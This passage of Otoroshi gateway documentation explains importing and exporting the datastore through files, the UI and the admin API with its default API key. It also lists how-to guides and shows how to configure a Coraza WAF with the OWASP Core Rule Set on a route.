\"connectionTimeout\": 10000,\n \"idleTimeout\": 60000,\n \"globalTimeout\": 30000,\n \"sampleInterval\": 2000,\n \"proxy\": {},\n \"customTimeouts\": [],\n \"cacheConnectionSettings\": {\n \"enabled\": false,\n \"queueSize\": 2048\n }\n },\n \"canary\": {\n \"enabled\": false,\n \"traffic\": 0.2,\n \"targets\": [],\n \"root\": \"/\"\n },\n \"gzip\": {\n \"enabled\": false,\n \"excludedPatterns\": [],\n \"whiteList\": [\n \"text/*\",\n \"application/javascript\",\n \"application/json\"\n ],\n \"blackList\": [],\n \"bufferSize\": 8192,\n \"chunkedThreshold\": 102400,\n \"compressionLevel\": 5\n },\n \"metadata\": {},\n \"tags\": [],\n \"chaosConfig\": {\n \"enabled\": false,\n \"largeRequestFaultConfig\": null,\n \"largeResponseFaultConfig\": null,\n \"latencyInjectionFaultConfig\": null,\n \"badResponsesFaultConfig\": null\n },\n \"jwtVerifier\": {\n \"type\": \"ref\",\n \"ids\": [],\n \"id\": null,\n \"enabled\": false,\n \"excludedPatterns\": []\n },\n \"secComSettings\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"secComUseSameAlgo\": true,\n \"secComAlgoChallengeOtoToBack\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"secComAlgoChallengeBackToOto\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"secComAlgoInfoToken\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"cors\": {\n \"enabled\": false,\n \"allowOrigin\": \"*\",\n \"exposeHeaders\": [],\n \"allowHeaders\": [],\n \"allowMethods\": [],\n \"excludedPatterns\": [],\n \"maxAge\": null,\n \"allowCredentials\": true\n },\n \"redirection\": {\n \"enabled\": false,\n \"code\": 303,\n \"to\": \"https://www.otoroshi.io\"\n },\n \"authConfigRef\": null,\n \"clientValidatorRef\": null,\n \"transformerRef\": null,\n \"transformerRefs\": [],\n \"transformerConfig\": {},\n \"apiKeyConstraints\": {\n \"basicAuth\": {\n \"enabled\": true,\n \"headerName\": null,\n \"queryName\": null\n },\n \"customHeadersAuth\": {\n \"enabled\": true,\n \"clientIdHeaderName\": null,\n \"clientSecretHeaderName\": null\n },\n \"clientIdAuth\": {\n \"enabled\": true,\n \"headerName\": null,\n \"queryName\": null\n },\n \"jwtAuth\": {\n \"enabled\": true,\n \"secretSigned\": true,\n \"keyPairSigned\": true,\n \"includeRequestAttributes\": false,\n \"maxJwtLifespanSecs\": null,\n \"headerName\": null,\n \"queryName\": null,\n \"cookieName\": null\n },\n \"routing\": {\n \"noneTagIn\": [],\n \"oneTagIn\": [],\n \"allTagsIn\": [],\n \"noneMetaIn\": {},\n \"oneMetaIn\": {},\n \"allMetaIn\": {},\n \"noneMetaKeysIn\": [],\n \"oneMetaKeyIn\": [],\n \"allMetaKeysIn\": []\n }\n },\n \"restrictions\": {\n \"enabled\": false,\n \"allowLast\": true,\n \"allowed\": [],\n \"forbidden\": [],\n \"notFound\": []\n },\n \"accessValidator\": {\n \"enabled\": false,\n \"refs\": [],\n \"config\": {},\n \"excludedPatterns\": []\n },\n \"preRouting\": {\n \"enabled\": false,\n \"refs\": [],\n \"config\": {},\n \"excludedPatterns\": []\n },\n \"plugins\": {\n \"enabled\": false,\n \"refs\": [],\n \"config\": {},\n \"excluded\": []\n },\n \"hosts\": [\n \"otoroshi-api.oto.tools\"\n ],\n \"paths\": [],\n \"handleLegacyDomain\": true,\n \"issueCert\": false,\n \"issueCertCA\": null\n }\n ],\n \"errorTemplates\": [],\n \"jwtVerifiers\": [],\n \"authConfigs\": [],\n \"certificates\": [],\n \"clientValidators\": [],\n \"scripts\": [],\n \"tcpServices\": [],\n \"dataExporters\": [],\n \"tenants\": [\n {\n \"id\": \"default\",\n \"name\": \"Default organization\",\n \"description\": \"The default organization\",\n \"metadata\": {},\n \"tags\": []\n }\n ],\n \"teams\": [\n {\n \"id\": \"default\",\n \"tenant\": \"default\",\n \"name\": \"Default Team\",\n \"description\": \"The default Team of the default organization\",\n \"metadata\": {},\n \"tags\": []\n }\n ]\n}\n```\n\nRun an Otoroshi with the previous file as parameter.\n\n```sh\njava \\\n -Dotoroshi.adminPassword=password \\\n -Dotoroshi.importFrom=./initial-state.json \\\n -jar otoroshi.jar \n```\n\nThis should show\n\n```sh\n...\n[info] otoroshi-env - Importing from: ./initial-state.json\n[info] otoroshi-env - Successful import !\n...\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n...\n```\n\n> Warning : when you using Otoroshi with a datastore different from file or in-memory, Otoroshi will not reload the initialization script. If you expected, you have to manually clean your store.\n\n### Export the current datastore via the danger zone\n\nWhen Otoroshi is running, you can backup the global configuration store from the UI. Navigate to your instance (in our case @link:[http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone](http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone) { open=new }) and scroll to the bottom page. \n\nClick on `Full export` button to download the full global configuration.\n\n### Import a datastore from file via the danger zone\n\nWhen Otoroshi is running, you can recover a global configuration from the UI. Navigate to your instance (in our case @link:[http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone](http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone) { open=new }) and scroll to the bottom of the page. \n\nClick on `Recover from a full export file` button to apply all configurations from a file.\n\n### Export the current datastore with the Admin API\n\nOtoroshi exposes his own Admin API to manage Otoroshi resources. To call this api, you need to have an api key with the rights on `Otoroshi Admin Api group`. This group includes the `Otoroshi-admin-api` service that you can found on the services page. \n\nBy default, and with our initial configuration, Otoroshi has already created an api key named `Otoroshi Backoffice ApiKey`. You can verify the rights of an api key on its page by checking the `Authorized On` field (you should find the `Otoroshi Admin Api group` inside).\n\nThe default api key id and secret are `admin-api-apikey-id` and `admin-api-apikey-secret`.\n\nRun the next command with these values.\n\n```sh\ncurl \\\n -H 'Content-Type: application/json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n 'http://otoroshi-api.oto.tools:8080/api/otoroshi.json'\n```\n\nWhen calling the `/api/otoroshi.json`, the return should be the current datastore including the service descriptors, the api keys, all others resources like certificates and authentification modules, and the the global config (representing the form of the danger zone).\n\n### Import the current datastore with the Admin API\n\nAs the same way of previous section, you can erase the current datastore with a POST request. The route is the same : `/api/otoroshi.json`.\n\n```sh\ncurl \\\n -X POST \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"label\" : \"Otoroshi export\",\n \"dateRaw\" : 1634714811217,\n \"date\" : \"2021-10-20 09:26:51\",\n \"stats\" : {\n \"calls\" : 4,\n \"dataIn\" : 0,\n \"dataOut\" : 97991\n },\n \"config\" : {\n \"tags\" : [ ],\n \"letsEncryptSettings\" : {\n \"enabled\" : false,\n \"server\" : \"acme://letsencrypt.org/staging\",\n \"emails\" : [ ],\n \"contacts\" : [ ],\n \"publicKey\" : \"\",\n \"privateKey\" : \"\"\n },\n \"lines\" : [ \"prod\" ],\n \"maintenanceMode\" : false,\n \"enableEmbeddedMetrics\" : true,\n \"streamEntityOnly\" : true,\n \"autoLinkToDefaultGroup\" : true,\n \"limitConcurrentRequests\" : false,\n \"maxConcurrentRequests\" : 1000,\n \"maxHttp10ResponseSize\" : 4194304,\n \"useCircuitBreakers\" : true,\n \"apiReadOnly\" : false,\n \"u2fLoginOnly\" : false,\n \"trustXForwarded\" : true,\n \"ipFiltering\" : {\n \"whitelist\" : [ ],\n \"blacklist\" : [ ]\n },\n \"throttlingQuota\" : 10000000,\n \"perIpThrottlingQuota\" : 10000000,\n \"analyticsWebhooks\" : [ ],\n \"alertsWebhooks\" : [ ],\n \"elasticWritesConfigs\" : [ ],\n \"elasticReadsConfig\" : null,\n \"alertsEmails\" : [ ],\n \"logAnalyticsOnServer\" : false,\n \"useAkkaHttpClient\" : false,\n \"endlessIpAddresses\" : [ ],\n \"statsdConfig\" : null,\n \"kafkaConfig\" : {\n \"servers\" : [ ],\n \"keyPass\" : null,\n \"keystore\" : null,\n \"truststore\" : null,\n \"topic\" : \"otoroshi-events\",\n \"mtlsConfig\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n },\n \"backOfficeAuthRef\" : null,\n \"mailerSettings\" : {\n \"type\" : \"none\"\n },\n \"cleverSettings\" : null,\n \"maxWebhookSize\" : 100,\n \"middleFingers\" : false,\n \"maxLogsSize\" : 10000,\n \"otoroshiId\" : \"83539cbca-76ee-4abc-ad31-a4794e873848\",\n \"snowMonkeyConfig\" : {\n \"enabled\" : false,\n \"outageStrategy\" : \"OneServicePerGroup\",\n \"includeUserFacingDescriptors\" : false,\n \"dryRun\" : false,\n \"timesPerDay\" : 1,\n \"startTime\" : \"09:00:00.000\",\n \"stopTime\" : \"23:59:59.000\",\n \"outageDurationFrom\" : 600000,\n \"outageDurationTo\" : 3600000,\n \"targetGroups\" : [ ],\n \"chaosConfig\" : {\n \"enabled\" : true,\n \"largeRequestFaultConfig\" : null,\n \"largeResponseFaultConfig\" : null,\n \"latencyInjectionFaultConfig\" : {\n \"ratio\" : 0.2,\n \"from\" : 500,\n \"to\" : 5000\n },\n \"badResponsesFaultConfig\" : {\n \"ratio\" : 0.2,\n \"responses\" : [ {\n \"status\" : 502,\n \"body\" : \"{\\\"error\\\":\\\"Nihonzaru everywhere ...\\\"}\",\n \"headers\" : {\n \"Content-Type\" : \"application/json\"\n }\n } ]\n }\n }\n },\n \"scripts\" : {\n \"enabled\" : false,\n \"transformersRefs\" : [ ],\n \"transformersConfig\" : { },\n \"validatorRefs\" : [ ],\n \"validatorConfig\" : { },\n \"preRouteRefs\" : [ ],\n \"preRouteConfig\" : { },\n \"sinkRefs\" : [ ],\n \"sinkConfig\" : { },\n \"jobRefs\" : [ ],\n \"jobConfig\" : { }\n },\n \"geolocationSettings\" : {\n \"type\" : \"none\"\n },\n \"userAgentSettings\" : {\n \"enabled\" : false\n },\n \"autoCert\" : {\n \"enabled\" : false,\n \"replyNicely\" : false,\n \"caRef\" : null,\n \"allowed\" : [ ],\n \"notAllowed\" : [ ]\n },\n \"tlsSettings\" : {\n \"defaultDomain\" : null,\n \"randomIfNotFound\" : false,\n \"includeJdkCaServer\" : true,\n \"includeJdkCaClient\" : true,\n \"trustedCAsServer\" : [ ]\n },\n \"plugins\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excluded\" : [ ]\n },\n \"metadata\" : { }\n },\n \"admins\" : [ ],\n \"simpleAdmins\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"username\" : \"admin@otoroshi.io\",\n \"password\" : \"$2a$10$iQRkqjKTW.5XH8ugQrnMDeUstx4KqmIeQ58dHHdW2Dv1FkyyAs4C.\",\n \"label\" : \"Otoroshi Admin\",\n \"createdAt\" : 1634651307724,\n \"type\" : \"SIMPLE\",\n \"metadata\" : { },\n \"tags\" : [ ],\n \"rights\" : [ {\n \"tenant\" : \"*:rw\",\n \"teams\" : [ \"*:rw\" ]\n } ]\n } ],\n \"serviceGroups\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"admin-api-group\",\n \"name\" : \"Otoroshi Admin Api group\",\n \"description\" : \"No description\",\n \"tags\" : [ ],\n \"metadata\" : { }\n }, {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"default\",\n \"name\" : \"default-group\",\n \"description\" : \"The default service group\",\n \"tags\" : [ ],\n \"metadata\" : { }\n } ],\n \"apiKeys\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"clientId\" : \"admin-api-apikey-id\",\n \"clientSecret\" : \"admin-api-apikey-secret\",\n \"clientName\" : \"Otoroshi Backoffice ApiKey\",\n \"description\" : \"The apikey use by the Otoroshi UI\",\n \"authorizedGroup\" : \"admin-api-group\",\n \"authorizedEntities\" : [ \"group_admin-api-group\" ],\n \"enabled\" : true,\n \"readOnly\" : false,\n \"allowClientIdOnly\" : false,\n \"throttlingQuota\" : 10000,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"constrainedServicesOnly\" : false,\n \"restrictions\" : {\n \"enabled\" : false,\n \"allowLast\" : true,\n \"allowed\" : [ ],\n \"forbidden\" : [ ],\n \"notFound\" : [ ]\n },\n \"rotation\" : {\n \"enabled\" : false,\n \"rotationEvery\" : 744,\n \"gracePeriod\" : 168,\n \"nextSecret\" : null\n },\n \"validUntil\" : null,\n \"tags\" : [ ],\n \"metadata\" : { }\n } ],\n \"serviceDescriptors\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"admin-api-service\",\n \"groupId\" : \"admin-api-group\",\n \"groups\" : [ \"admin-api-group\" ],\n \"name\" : \"otoroshi-admin-api\",\n \"description\" : \"\",\n \"env\" : \"prod\",\n \"domain\" : \"oto.tools\",\n \"subdomain\" : \"otoroshi-api\",\n \"targetsLoadBalancing\" : {\n \"type\" : \"RoundRobin\"\n },\n \"targets\" : [ {\n \"host\" : \"127.0.0.1:8080\",\n \"scheme\" : \"http\",\n \"weight\" : 1,\n \"mtlsConfig\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n },\n \"tags\" : [ ],\n \"metadata\" : { },\n \"protocol\" : \"HTTP/1.1\",\n \"predicate\" : {\n \"type\" : \"AlwaysMatch\"\n },\n \"ipAddress\" : null\n } ],\n \"root\" : \"/\",\n \"matchingRoot\" : null,\n \"stripPath\" : true,\n \"localHost\" : \"127.0.0.1:8080\",\n \"localScheme\" : \"http\",\n \"redirectToLocal\" : false,\n \"enabled\" : true,\n \"userFacing\" : false,\n \"privateApp\" : false,\n \"forceHttps\" : false,\n \"logAnalyticsOnServer\" : false,\n \"useAkkaHttpClient\" : true,\n \"useNewWSClient\" : false,\n \"tcpUdpTunneling\" : false,\n \"detectApiKeySooner\" : false,\n \"maintenanceMode\" : false,\n \"buildMode\" : false,\n \"strictlyPrivate\" : false,\n \"enforceSecureCommunication\" : true,\n \"sendInfoToken\" : true,\n \"sendStateChallenge\" : true,\n \"sendOtoroshiHeadersBack\" : true,\n \"readOnly\" : false,\n \"xForwardedHeaders\" : false,\n \"overrideHost\" : true,\n \"allowHttp10\" : true,\n \"letsEncrypt\" : false,\n \"secComHeaders\" : {\n \"claimRequestName\" : null,\n \"stateRequestName\" : null,\n \"stateResponseName\" : null\n },\n \"secComTtl\" : 30000,\n \"secComVersion\" : 1,\n \"secComInfoTokenVersion\" : \"Legacy\",\n \"secComExcludedPatterns\" : [ ],\n \"securityExcludedPatterns\" : [ ],\n \"publicPatterns\" : [ \"/health\", \"/metrics\" ],\n \"privatePatterns\" : [ ],\n \"additionalHeaders\" : {\n \"Host\" : \"otoroshi-admin-internal-api.oto.tools\"\n },\n \"additionalHeadersOut\" : { },\n \"missingOnlyHeadersIn\" : { },\n \"missingOnlyHeadersOut\" : { },\n \"removeHeadersIn\" : [ ],\n \"removeHeadersOut\" : [ ],\n \"headersVerification\" : { },\n \"matchingHeaders\" : { },\n \"ipFiltering\" : {\n \"whitelist\" : [ ],\n \"blacklist\" : [ ]\n },\n \"api\" : {\n \"exposeApi\" : false\n },\n \"healthCheck\" : {\n \"enabled\" : false,\n \"url\" : \"/\"\n },\n \"clientConfig\" : {\n \"useCircuitBreaker\" : true,\n \"retries\" : 1,\n \"maxErrors\" : 20,\n \"retryInitialDelay\" : 50,\n \"backoffFactor\" : 2,\n \"callTimeout\" : 30000,\n \"callAndStreamTimeout\" : 120000,\n \"connectionTimeout\" : 10000,\n \"idleTimeout\" : 60000,\n \"globalTimeout\" : 30000,\n \"sampleInterval\" : 2000,\n \"proxy\" : { },\n \"customTimeouts\" : [ ],\n \"cacheConnectionSettings\" : {\n \"enabled\" : false,\n \"queueSize\" : 2048\n }\n },\n \"canary\" : {\n \"enabled\" : false,\n \"traffic\" : 0.2,\n \"targets\" : [ ],\n \"root\" : \"/\"\n },\n \"gzip\" : {\n \"enabled\" : false,\n \"excludedPatterns\" : [ ],\n \"whiteList\" : [ \"text/*\", \"application/javascript\", \"application/json\" ],\n \"blackList\" : [ ],\n \"bufferSize\" : 8192,\n \"chunkedThreshold\" : 102400,\n \"compressionLevel\" : 5\n },\n \"metadata\" : { },\n \"tags\" : [ ],\n \"chaosConfig\" : {\n \"enabled\" : false,\n \"largeRequestFaultConfig\" : null,\n \"largeResponseFaultConfig\" : null,\n \"latencyInjectionFaultConfig\" : null,\n \"badResponsesFaultConfig\" : null\n },\n \"jwtVerifier\" : {\n \"type\" : \"ref\",\n \"ids\" : [ ],\n \"id\" : null,\n \"enabled\" : false,\n \"excludedPatterns\" : [ ]\n },\n \"secComSettings\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"secComUseSameAlgo\" : true,\n \"secComAlgoChallengeOtoToBack\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"secComAlgoChallengeBackToOto\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"secComAlgoInfoToken\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"cors\" : {\n \"enabled\" : false,\n \"allowOrigin\" : \"*\",\n \"exposeHeaders\" : [ ],\n \"allowHeaders\" : [ ],\n \"allowMethods\" : [ ],\n \"excludedPatterns\" : [ ],\n \"maxAge\" : null,\n \"allowCredentials\" : true\n },\n \"redirection\" : {\n \"enabled\" : false,\n \"code\" : 303,\n \"to\" : \"https://www.otoroshi.io\"\n },\n \"authConfigRef\" : null,\n \"clientValidatorRef\" : null,\n \"transformerRef\" : null,\n \"transformerRefs\" : [ ],\n \"transformerConfig\" : { },\n \"apiKeyConstraints\" : {\n \"basicAuth\" : {\n \"enabled\" : true,\n \"headerName\" : null,\n \"queryName\" : null\n },\n \"customHeadersAuth\" : {\n \"enabled\" : true,\n \"clientIdHeaderName\" : null,\n \"clientSecretHeaderName\" : null\n },\n \"clientIdAuth\" : {\n \"enabled\" : true,\n \"headerName\" : null,\n \"queryName\" : null\n },\n \"jwtAuth\" : {\n \"enabled\" : true,\n \"secretSigned\" : true,\n \"keyPairSigned\" : true,\n \"includeRequestAttributes\" : false,\n \"maxJwtLifespanSecs\" : null,\n \"headerName\" : null,\n \"queryName\" : null,\n \"cookieName\" : null\n },\n \"routing\" : {\n \"noneTagIn\" : [ ],\n \"oneTagIn\" : [ ],\n \"allTagsIn\" : [ ],\n \"noneMetaIn\" : { },\n \"oneMetaIn\" : { },\n \"allMetaIn\" : { },\n \"noneMetaKeysIn\" : [ ],\n \"oneMetaKeyIn\" : [ ],\n \"allMetaKeysIn\" : [ ]\n }\n },\n \"restrictions\" : {\n \"enabled\" : false,\n \"allowLast\" : true,\n \"allowed\" : [ ],\n \"forbidden\" : [ ],\n \"notFound\" : [ ]\n },\n \"accessValidator\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excludedPatterns\" : [ ]\n },\n \"preRouting\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excludedPatterns\" : [ ]\n },\n \"plugins\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excluded\" : [ ]\n },\n \"hosts\" : [ \"otoroshi-api.oto.tools\" ],\n \"paths\" : [ ],\n \"handleLegacyDomain\" : true,\n \"issueCert\" : false,\n \"issueCertCA\" : null\n } ],\n \"errorTemplates\" : [ ],\n \"jwtVerifiers\" : [ ],\n \"authConfigs\" : [ ],\n \"certificates\" : [],\n \"clientValidators\" : [ ],\n \"scripts\" : [ ],\n \"tcpServices\" : [ ],\n \"dataExporters\" : [ ],\n \"tenants\" : [ {\n \"id\" : \"default\",\n \"name\" : \"Default organization\",\n \"description\" : \"The default organization\",\n \"metadata\" : { },\n \"tags\" : [ ]\n } ],\n \"teams\" : [ {\n \"id\" : \"default\",\n \"tenant\" : \"default\",\n \"name\" : \"Default Team\",\n \"description\" : \"The default Team of the default organization\",\n \"metadata\" : { },\n \"tags\" : [ ]\n } ]\n }' \\\n 'http://otoroshi-api.oto.tools:8080/api/otoroshi.json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \n```\n\nThis should output :\n\n```json\n{ \"done\":true }\n```\n\n> Note : be very carefully with this POST command. If you send a wrong JSON, you risk breaking your instance.\n\nThe second way is to send the same configuration but from a file. You can pass two kind of file : a `json` file or a `ndjson` file. Both files are available as export methods on the danger zone.\n\n```sh\n# the curl is run from a folder containing the initial-state.json file \ncurl -X POST \\\n -H \"Content-Type: application/json\" \\\n -d @./initial-state.json \\\n 'http://otoroshi-api.oto.tools:8080/api/otoroshi.json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret\n```\n\nThis should output :\n\n```json\n{ \"done\":true }\n```\n\n> Note: To send a ndjson file, you have to set the Content-Type header at `application/x-ndjson`"},{"name":"index.md","id":"/how-to-s/index.md","url":"/how-to-s/index.html","title":"How to's","content":"# How to's\n\nin this section, we will explain some mainstream Otoroshi usage scenario's \n\n* @ref:[Otoroshi and WASM](./wasm-usage.md)\n* @ref:[Wasmo](./wasmo-installation.md)\n* @ref:[Tailscale integration](./tailscale-integration.md)\n* @ref:[End-to-end mTLS](./end-to-end-mtls.md)\n* @ref:[Send alerts by emails](./export-alerts-using-mailgun.md)\n* @ref:[Export events to Elasticsearch](./export-events-to-elastic.md)\n* @ref:[Import/export Otoroshi datastore](./import-export-otoroshi-datastore.md)\n* @ref:[Secure an app with Auth0](./secure-app-with-auth0.md)\n* @ref:[Secure an app with Keycloak](./secure-app-with-keycloak.md)\n* @ref:[Secure an app with LDAP](./secure-app-with-ldap.md)\n* @ref:[Secure an api with apikeys](./secure-with-apikey.md)\n* @ref:[Secure an app with OAuth1](./secure-with-oauth1-client.md)\n* @ref:[Secure an api with OAuth2 client_credentials flow](./secure-with-oauth2-client-credentials.md)\n* @ref:[Setup an Otoroshi cluster](./setup-otoroshi-cluster.md)\n* @ref:[TLS termination using Let's Encrypt](./tls-using-lets-encrypt.md)\n* @ref:[Secure an app with jwt verifiers](./secure-an-app-with-jwt-verifiers.md)\n* @ref:[Secure the communication between a backend app and Otoroshi](./secure-the-communication-between-a-backend-app-and-otoroshi.md)\n* @ref:[TLS termination using your own certificates](./tls-termination-using-own-certificates.md)\n* @ref:[The resources loader](./resources-loader.md)\n* @ref:[Log levels customization](./custom-log-levels.md)\n* @ref:[Initial state customization](./custom-initial-state.md)\n* @ref:[Communicate with Kafka](./communicate-with-kafka.md)\n* @ref:[Create your custom Authentication module](./create-custom-auth-module.md)\n* @ref:[Working with Eureka](./working-with-eureka.md)\n* @ref:[Instantiate a WAF with Coraza](./instantiate-waf-coraza.md)\n* @ref:[Quickly expose a website and static files](./zip-backend-plugin.md)\n\n@@@ index\n\n\n* [WASM usage](./wasm-usage.md)\n* [wasmo](./wasmo-installation.md)\n* [Tailscale integration](./tailscale-integration.md)\n* [End-to-end mTLS](./end-to-end-mtls.md)\n* [Send alerts by emails](./export-alerts-using-mailgun.md)\n* [Export events to Elasticsearch](./export-events-to-elastic.md)\n* [Import/export Otoroshi datastore](./import-export-otoroshi-datastore.md)\n* [Secure an app with Auth0](./secure-app-with-auth0.md)\n* [Secure an app with Keycloak](./secure-app-with-keycloak.md)\n* [Secure an app with LDAP](./secure-app-with-ldap.md)\n* [Secure an api with apikeys](./secure-with-apikey.md)\n* [Secure an app with OAuth1](./secure-with-oauth1-client.md)\n* [Secure an api with OAuth2 client_credentials flow](./secure-with-oauth2-client-credentials.md)\n* [Setup an Otoroshi cluster](./setup-otoroshi-cluster.md)\n* [TLS termination using Let's Encrypt](./tls-using-lets-encrypt.md)\n* [Secure an app with jwt verifiers](./secure-an-app-with-jwt-verifiers.md)\n* [Secure the communication between a backend app and Otoroshi](./secure-the-communication-between-a-backend-app-and-otoroshi.md)\n* [TLS termination using your own certificates](./tls-termination-using-own-certificates.md)\n* [The resources loader](./resources-loader.md)\n* [Log levels customization](./custom-log-levels.md)\n* [Initial state customization](./custom-initial-state.md)\n* [Communicate with Kafka](./communicate-with-kafka.md)\n* [Create your custom Authentication module](./create-custom-auth-module.md)\n* [Working with Eureka](./working-with-eureka.md)\n* [Instantiate a WAF with Coraza](./instantiate-waf-coraza.md)\n* [Zip Backend plugin](./zip-backend-plugin.md) \n@@@\n"},{"name":"instantiate-waf-coraza.md","id":"/how-to-s/instantiate-waf-coraza.md","url":"/how-to-s/instantiate-waf-coraza.html","title":"Instantiate a WAF with Coraza","content":"# Instantiate a WAF with Coraza\n\n
\nRoute plugins:\nCoraza WAF\nOverride Host Header\n
\n\nSometimes you may want to secure an app with a [Web Appplication Firewall (WAF)](https://en.wikipedia.org/wiki/Web_application_firewall) and apply the security rules from the [OWASP Core Rule Set](https://owasp.org/www-project-modsecurity-core-rule-set/). To allow that, we integrated [the Coraza WAF](https://coraza.io/) in Otoroshi through a plugin that uses the WASM version of Coraza.\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create a WAF configuration\n\nfirst, go on [the features page of otoroshi](http://otoroshi.oto.tools:8080/bo/dashboard/features) and then click on the [Coraza WAF configs. item](http://otoroshi.oto.tools:8080/bo/dashboard/extensions/coraza-waf/coraza-configs). \n\nNow create a new configuration, give it a name and a description, ensure that you enabled the `Inspect req/res body` flag and save your configuration.\n\nThe corresponding admin api call is the following :\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs' \\\n -u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '\n{\n \"id\": \"coraza-waf-demo\",\n \"name\": \"My blocking WAF\",\n \"description\": \"An awesome WAF\",\n \"inspect_body\": true,\n \"config\": {\n \"directives_map\": {\n \"default\": [\n \"Include @recommended-conf\",\n \"Include @crs-setup-conf\",\n \"Include @owasp_crs/*.conf\",\n \"SecRuleEngine DetectionOnly\"\n ]\n },\n \"default_directives\": \"default\",\n \"per_authority_directives\": {}\n }\n}'\n```\n\n### Configure Coraza and the OWASP Core Rule Set\n\nNow you can easily configure the coraza WAF in the `json` config. section. By default it should look something like :\n\n```json\n{\n \"directives_map\": {\n \"default\": [\n \"Include @recommended-conf\",\n \"Include @crs-setup-conf\",\n \"Include @owasp_crs/*.conf\",\n \"SecRuleEngine DetectionOnly\"\n ]\n },\n \"default_directives\": \"default\",\n \"per_authority_directives\": {}\n}\n```\n\nYou can find anything about it in [the documentation of Coraza](https://coraza.io/docs/tutorials/introduction/).\n\nhere we have the basic setup to apply the OWASP core rule set in detection mode only. \nSo each time Coraza will find something weird in a request, it will only log it but let the request pass.\n We can enable blocking by setting `\"SecRuleEngine On\"`\n\nwe can also deny access to the `/admin` uri by adding the following directive\n\n```json\n\"SecRule REQUEST_URI \\\"@streq /admin\\\" \\\"id:101,phase:1,t:lowercase,deny\\\"\"\n```\n\nYou can also provide multiple profile of rules in the `directives_map` with different names and use the `per_authority_directives` object to map hostnames to a specific profile.\n\nthe corresponding admin api call is the following :\n\n```sh\ncurl -X PUT 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/coraza-waf-demo' \\\n -u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '\n{\n \"id\": \"coraza-waf-demo\",\n \"name\": \"My blocking WAF\",\n \"description\": \"An awesome WAF\",\n \"inspect_body\": true,\n \"config\": {\n \"directives_map\": {\n \"default\": [\n \"Include @recommended-conf\",\n \"Include @crs-setup-conf\",\n \"Include @owasp_crs/*.conf\",\n \"SecRule REQUEST_URI \\\"@streq /admin\\\" \\\"id:101,phase:1,t:lowercase,deny\\\"\",\n \"SecRuleEngine On\"\n ]\n },\n \"default_directives\": \"default\",\n \"per_authority_directives\": {}\n }\n}'\n```\n\n### Add the WAF plugin on your route\n\nNow you can create a new route that will use your WAF configuration. Let say we want a route on `http://wouf.oto.tools:8080` to goes to `https://www.otoroshi.io`. Now add the `Coraza WAF` plugin to your route and in the configuration select the configuration you created previously.\n\nthe corresponding admin api call is the following :\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n -H 'Content-Type: application/json' -d '\n{\n \"id\": \"route_demo\",\n \"name\": \"WAF route\",\n \"description\": \"A new route with a WAF enabled\",\n \"frontend\": {\n \"domains\": [\n \"wouf.oto.tools\"\n ]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"www.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.wasm.proxywasm.NgCorazaWAF\",\n \"config\": {\n \"ref\": \"coraza-waf-demo\"\n },\n \"plugin_index\": {\n \"validate_access\": 0,\n \"transform_request\": 0,\n \"transform_response\": 0\n }\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\",\n \"plugin_index\": {\n \"transform_request\": 1\n }\n 